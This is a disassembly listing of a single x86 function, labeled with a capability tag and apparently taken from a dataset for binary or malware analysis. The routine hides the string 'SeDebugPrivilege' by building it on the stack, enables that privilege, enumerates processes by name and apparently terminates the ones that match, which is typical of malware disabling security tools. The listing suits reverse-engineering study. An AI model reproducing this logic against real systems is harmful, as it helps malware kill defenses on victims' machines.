Function at 0x414c60
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x474
push ebx
push ebp
push esi
push edi
push 0
push 2
call fcn.00419150
mov ecx, eax
call fcn.0041b180
mov ebp, dword [esp + 0x488]
mov ebx, dword [sym.imp.MSVCRT.dll_wcsstr]
mov esi, eax
mov ecx, 0x8b
xor eax, eax
lea edi, [esp + 0x50]
rep stosd dword es:[edi], eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x50], 0x22c
push 0x437a10
push ebp
call ebx
add esp, 8
test eax, eax
je 0x414cb6
lea ebp, [eax + 2]
jmp 0x414ca2
mov al, 0x65
mov dl, 0x67
mov byte [esp + 0x15], al
mov byte [esp + 0x17], al
mov byte [esp + 0x21], al
mov byte [esp + 0x23], al
lea eax, [esp + 0x50]
mov cl, 0x69
push eax
push esi
mov byte [esp + 0x1c], 0x53
mov byte [esp + 0x1e], 0x44
mov byte [esp + 0x20], 0x62
mov byte [esp + 0x21], 0x75
mov byte [esp + 0x22], dl
mov byte [esp + 0x23], 0x50
mov byte [esp + 0x24], 0x72
mov byte [esp + 0x25], cl
mov byte [esp + 0x26], 0x76
mov byte [esp + 0x27], cl
mov byte [esp + 0x28], 0x6c
mov byte [esp + 0x2a], dl
mov byte [esp + 0x2c], 0
call fcn.00419150
mov ecx, eax
call fcn.0041b420
test eax, eax
je 0x414f22
lea ecx, [esp + 0x74]
push ecx
call dword [sym.imp.MSVCRT.dll__wcslwr]
mov ecx, 0x82
xor eax, eax
lea edi, [esp + 0x280]
lea edx, [esp + 0x78]
rep stosd dword es:[edi], eax
push edx
call dword [sym.imp.MSVCRT.dll_wcslen]
add esp, 8
cmp eax, 0x104
jae 0x414f04
lea eax, [esp + 0x74]
lea ecx, [esp + 0x27c]
push eax
push ecx
call dword [sym.imp.MSVCRT.dll_wcscpy]
add esp, 8
lea esi, [esp + 0x27c]
push 0x437a10
push esi
call ebx
add esp, 8
test eax, eax
je 0x414d88
lea esi, [eax + 2]
jmp 0x414d74
push ebp
push esi
call ebx
add esp, 8
test eax, eax
jbe 0x414f04
mov edx, dword [esp + 0x58]
push edx
push 0
push 1
call fcn.00419150
mov ecx, eax
call fcn.0041b320
mov esi, eax
test esi, esi
je 0x414dc6
push 0xffffffffffffffff
push esi
call fcn.00419150
mov ecx, eax
call fcn.0041b240
jmp 0x414ef7
mov dword [esp + 0x28], 0x10
call fcn.00419150
mov ecx, eax
call fcn.0041b050
lea ecx, [esp + 0x10]
push ecx
push 0
push 0x28
push eax
call dword [0x43bc20]
test eax, eax
jne 0x414e27
call fcn.00419150
mov ecx, eax
call fcn.0041b260
cmp eax, 0x3f0
jne 0x414f04
call fcn.00419150
mov ecx, eax
call fcn.0041b040
lea edx, [esp + 0x10]
push edx
push 0x28
push eax
call dword [0x43bc10]
test eax, eax
je 0x414f04
lea eax, [esp + 0x34]
lea ecx, [esp + 0x14]
push eax
push ecx
push 0
mov dword [esp + 0x3c], 1
mov dword [esp + 0x48], 2
call dword [0x43bc0c]
lea edx, [esp + 0x28]
lea eax, [esp + 0x40]
push edx
mov edx, dword [esp + 0x14]
push eax
lea ecx, [esp + 0x38]
push 0x10
push ecx
push 0
push edx
call dword [0x43bc1c]
test eax, eax
jne 0x414e7e
call fcn.00419150
mov ecx, eax
call fcn.0041b260
mov eax, dword [esp + 0x10]
push eax
jmp 0x414ef8
call fcn.00419150
mov ecx, eax
call fcn.0041b260
cmp eax, 0x514
jne 0x414e98
mov ecx, dword [esp + 0x10]
push ecx
jmp 0x414ef8
mov edx, dword [esp + 0x58]
push edx
push 0
push 1
call fcn.00419150
mov ecx, eax
call fcn.0041b320
mov esi, eax
push 0xffffffffffffffff
push esi
call fcn.00419150
mov ecx, eax
call fcn.0041b240
call fcn.00419150
mov ecx, eax
call fcn.0041b260
mov ecx, dword [esp + 0x10]
push 0
push 0
lea eax, [esp + 0x48]
push 0x10
push eax
push 0
push ecx
call dword [0x43bc1c]
mov edx, dword [esp + 0x10]
push edx
call fcn.00419150
mov ecx, eax
call fcn.0041b350
test esi, esi
je 0x414f04
push esi
call fcn.00419150
mov ecx, eax
call fcn.0041b350
mov esi, dword [esp + 0x2c]
lea eax, [esp + 0x50]
push eax
push esi
call fcn.00419150
mov ecx, eax
call fcn.0041b440
test eax, eax
jne 0x414d23
push esi
call fcn.00419150
mov ecx, eax
call fcn.0041b350
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x474
ret